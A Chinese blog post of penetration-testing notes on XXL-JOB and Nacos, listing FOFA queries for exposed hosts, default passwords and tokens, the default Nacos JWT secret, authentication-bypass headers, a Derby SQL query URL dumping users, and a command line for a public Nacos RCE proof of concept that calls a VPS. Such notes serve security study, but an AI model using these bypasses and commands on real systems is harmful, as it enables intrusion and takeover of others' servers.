一些内网常见服务的漏洞总结

由于6s6师傅在面试杭州某60时被拷打了很多内网常见服务的漏洞,我觉得还是得上手实操并总结一下,于是有了这篇笔记

XXL-JOB

介绍

xxl-job是一个分布式任务调度平台,有两个核心模块:

  • 调度中心admin,默认端口8080,负责管理调度信息等操作
  • 执行器executor,默认端口9999,负责任务执行,接收调度中心的请求

特征

  • fofa语法:

    icon_hash="1691956220" || app="xxl-job"
    
  • 页面特征:

    image-20250611215458025

  • 图标特征:

    image-20250611220029659

常见漏洞

弱口令

xxl-job的初始化sql语句设定了默认密码admin/123456,并且登录后不会提示修改默认密码

这样可以直接进入后台:
image-20250611220409437

后台计划任务getshell

登录成功后可以在任务管理处创建计划任务:
image-20250611223806800

在GLUEIDE处编辑命令:

image-20250611221340746

写入反弹shell的命令:

image-20250611225813793

然后回到管理页面选择执行一次:

image-20250611225925963

即可反弹shell:

image-20250611225755506

Executor Restful API未授权访问RCE

前面提到了xxl-job分为admin和executor,而executor默认没有配置认证,未授权的攻击者可以通过RESTful API执行任意命令

默认accessToken身份绕过

也是一个很经典的漏洞场景,accessToken是为了修复XXL-JOB Executor Restful API 未授权访问命令执行漏洞,为了防止其未授权添加了accessToken校验,但是很多人在使用该框架的时候并未修改其默认的值xxl.job.accessToken=default_token,所以只需要在请求头中添加XXL-JOB-ACCESS-TOKEN: default_token 即可绕过身份校验

api未授权Hessian2反序列化

即xxl-job的/api路由可以未授权访问,而该接口会进行Hessian2反序列化操作,可以利用Hessian2反序列化漏洞进行RCE

未授权情况的API界面如下

image-20250613181450970一把梭命令执行:

image-20250613181726725

Nacos

介绍

Nacos是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台,由阿里巴巴开源,一般在内网系统中比较常见

nacos部署需要开放以下端口:

  • 主端口:默认8848,管理页面的主入口
  • gRPC服务客户端端口:默认9848,用于客户端向服务端发起gRPC连接和请求
  • gRPC服务服务端端口:默认9849,用于服务间的数据同步和其他服务端之间的通信
  • Jraft请求服务端端口:默认为7848,用于处理服务端间的Raft相关请求,比如集群管理中的选主和日志复制等

特征

  • fofa语法:

    app="nacos" && port="8848" || icon_hash="13942501"||icon_hash="1227052603" && port="8848"
    
  • 页面特征:

    image-20250614171327260

  • 图标特征:

    image-20250614171350674

  • 版本信息配置文件

    /nacos/v1/console/server/state
    

    image-20250614172242628

常见漏洞

弱口令

nacos的默认口令为nacos/nacos

image-20250614172518439

未授权查看用户信息

路径:

/nacos/v1/auth/users?pageNo=1&pageSize=9
或
/v1/auth/users?pageNo=1&pageSize=9

接口未鉴权,导致可以查看用户名和对应的密码hash:

image-20250614174632447

User-Agent权限绕过(CVE-2021-29441)

nacos在进行认证授权操作时,会判断请求的user-agent是否为”Nacos-Server”,如果是的话则不进行任何认证。开发者原意是用来处理一些服务端对服务端的请求

这种校验方式过于简单,所以非常好bypass,在绕过权限校验后,我们可以通过/nacos/v1/auth/users接口添加用户、删除用户、重置用户密码,这里直接工具一把梭:

QQ_1749896489509

默认jwt密钥-未授权访问

开启了nacos.core.auth.enabled 的情况下,如果未修改默认nacos.core.auth.default.token.secret.key的值(在Nacos<=2.2.0版本中,该值为默认值),则可以通过默认accessToken值来bypass校验:

nacos.core.auth.default.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789

我们可以直接使用工具生成jwt:
QQ_1749897258471

在登录时随便输入账号密码并抓包:
QQ_1749897555463

可以看见原本的响应显示未知用户,将工具生成的jwt用下面的格式加入请求包:

Authorization: Bearer <你的JWT>

QQ_1749898341548

可以看到已经登录成功了,同理我们在登录时修改并放包即可绕过登录进入后台,以及访问各个接口:

QQ_1749898476877

Derby未授权访问(CNVD-2020-67618)

nacos带有一个嵌入式的小型数据库derby,默认无需认证即可被访问,并执行任意sql查询,导致敏感信息泄露

路由如下:

/nacos/v1/cs/ops/derby?sql=select * from users

QQ_1749898960928

当然同样可以工具一把梭:

QQ_1749899053622

Nacos Client Yaml反序列化漏洞

在1.4.1版本中存在Nacos Client Yaml反序列化漏洞,该漏洞只影响单独使用 nacos-client SDK的用户,原因在于spring cloud、springboot、dubbo等框架中并非使用的 AbstractConfigChangeListener 监听配置,所以该漏洞只影响了使用AbstractConfigChangeListener监听配置的客户端

由于利用条件比较苛刻(该漏洞只影响单独使用 nacos-client SDK的用户,原因在于spring cloud、springboot、dubbo等框架中并非使用的 AbstractConfigChangeListener 监听配置,所以该漏洞只影响了使用AbstractConfigChangeListener监听配置的客户端),这里就不记录利用方式了,可以参考靶场WP:https://cloud.tencent.com/developer/article/2395070

Nacos Hessian 反序列化漏洞

漏洞针对默认7848端口的Jraft服务,由于7848端口采用hessian协议传输数据,反序列化未设置白名单导致存在RCE漏洞

影响版本:1.4.0<=Nacos<1.4.6, 2.0.0<Nacos<2.2.3

Nacos 1.x在单机模式下默认不开放7848端口,故该情况通常不受此漏洞影响,但是集群模式受影响。然而,2.x版本无论单机或集群模式均默认开放7848端口

同样使用工具即可写入内存马进行RCE

QQ_1749962908863

Nacos RCE

有两个RCE的路由:

/nacos/v1/cs/ops/data/removal
/nacos/v1/cs/ops/derby

用现成的脚本打就行了:
下载poc:GitHub - FFR66/Nacos_Rce: 网传nacos_rce漏洞poc,并上传到vps上

  • vps启动server脚本:

    python3 server.py
    

    QQ_1749982702606

  • 客户端直接打临时文件RCE:

    Nacos_Rce.py -t [vps的IP] -p 8888 -u http://xxx.xxx.xxx.xxx:8848 -c whoami
    

    QQ_1749982767237

    如果命令执行成功,会回显命令的结果(如果显示未知用户或者未找到用户,则表示nacos启用了鉴权需要伪造JWT绕过登陆授权,在文件Nacos_Rce.py文件中设置请求头即可。只要能够绕过登陆授权,就可能能RCE)

posted @ 2025-06-18 12:30  Yuy0ung  阅读(232)  评论(2)    收藏  举报